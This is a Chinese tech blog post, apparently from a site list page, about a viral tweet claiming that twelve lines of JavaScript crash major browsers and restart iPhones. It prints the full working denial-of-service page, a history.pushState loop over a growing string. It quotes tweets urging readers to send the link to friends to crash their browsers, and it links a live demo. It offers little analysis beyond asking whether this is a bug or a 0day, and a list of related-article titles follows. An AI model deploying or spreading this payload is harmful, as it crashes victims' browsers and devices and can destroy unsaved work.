這十二行程式碼是如何讓瀏覽器爆炸的?
起因
今天刷推特的時候發現 Cyber Security@cyber__sec 的推文讓人眼前一亮:
Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit//使用下面這段 JavaScript 程式碼能讓 firefox,chrome,safari 瀏覽器崩潰,而且還能讓 iphone 重啟。
繼續在推特上深挖發現 IT Security Tweets ™ @F1r3h4nd 於 17 日發推:
Crash your friend’s browser and restart Iphone with a link which has this script: #0day
//把帶有下面這個指令碼的連結發給你的朋友,能讓你朋友的瀏覽器崩潰,而且讓 Iphone 重啟。
完整 HTML 程式碼如下:
<html> <body> <script> var total=""; for (var i=0;i<1000000;i++) { total= total+i.toString (); history.pushState (0,0,total); } </script> </body> </html>
demo:(溫馨提示:請儲存瀏覽器其它視窗的編輯任務)
www.0xroot.cn/demo.html (點選一下,又不會懷孕!)
接來下會發生什麼?
點開以後,我的狀態是這樣的:
如果你是 PC 端使用者,點開連結以後,電腦 CPU 記憶體極有可能一路狂飆直至瀏覽器崩潰卡死!
如果你是移動端(安卓、iPhone)使用者,點開連結以後你的瀏覽器會閃退!在微博、微信客戶端點開連結同樣會閃退。iPhone 用 Safari 開啟之後連結之後,手機登出重啟了!…
思考
這是 Bug 還是 0day?為什麼會有這一現象?如何實現的?
相關文章
- 瀏覽器執行javaScript程式碼基礎瀏覽器JavaScript
- 讓 IE 瀏覽器成為歷史,這是微軟給的最好禮物瀏覽器微軟
- 瀏覽器是如何解析html的?瀏覽器HTML
- js判斷是否是IE瀏覽器程式碼JS瀏覽器
- 駭客是如何利用你的瀏覽器進行挖礦的?瀏覽器
- [URL轉碼]瀏覽器如何給URL進行轉碼的瀏覽器
- js如何判斷當前瀏覽器是否是谷歌瀏覽器JS瀏覽器谷歌
- 重學瀏覽器(1)-多程式多執行緒的瀏覽器瀏覽器執行緒
- 如何在瀏覽器中測試JavaScript程式碼?瀏覽器JavaScript
- hello world 是如何輸出到瀏覽器的瀏覽器
- 動畫: 一個瀏覽器是如何工作的?動畫瀏覽器
- js檢測搜狗瀏覽器、百度瀏覽器、微信瀏覽器程式碼例項JS瀏覽器
- 如何判斷是否是360瀏覽器瀏覽器
- 如何讓瀏覽器支援 import 和export語法瀏覽器ImportExport
- js程式碼判斷瀏覽器JS瀏覽器
- edge是什麼瀏覽器 microsoft edge是ie瀏覽器嗎瀏覽器ROS
- [求助]如何讓pc瀏覽器和手機瀏覽器自動識別並跳轉瀏覽器
- js如何判斷是否是IE瀏覽器JS瀏覽器
- 一行程式碼,瀏覽器變臨時編輯器行程瀏覽器
- 瀏覽器渲染程式多執行緒瀏覽器執行緒
- 火狐瀏覽器是如何又變快起來的?瀏覽器
- IE 瀏覽器將停止服務,這是真的嗎?瀏覽器
- 【總結】瀏覽器的執行緒與程式瀏覽器執行緒
- microsoft edge是ie瀏覽器嗎 edge瀏覽器和ie瀏覽器一樣嗎ROS瀏覽器
- 谷歌瀏覽器程式碼格式化谷歌瀏覽器
- 相容所有瀏覽器的對聯廣告程式碼瀏覽器
- 相容所有瀏覽器的阻止事件冒泡程式碼瀏覽器事件
- 相容所有瀏覽器的progress程式碼例項瀏覽器
- 瀏覽器定位是如何實現的?為什麼會有瀏覽器定位失敗的情況?瀏覽器
- 如何在瀏覽器中執行 VS Code?瀏覽器
- 如何判斷瀏覽器是否是IE11瀏覽器IE11
- js如何實現清空瀏覽器快取程式碼例項JS瀏覽器快取
- Web 應用安全性: 瀏覽器是如何工作的Web瀏覽器
- emoji在瀏覽器中是如何傳遞給伺服器的瀏覽器伺服器
- 指令碼執行 py 檔案,該如何調整瀏覽器大小?指令碼瀏覽器
- 瀏覽器執行原理瀏覽器
- 瀏覽器執行緒瀏覽器執行緒
- js 判斷是什麼瀏覽器、是否為谷歌瀏覽器JS瀏覽器谷歌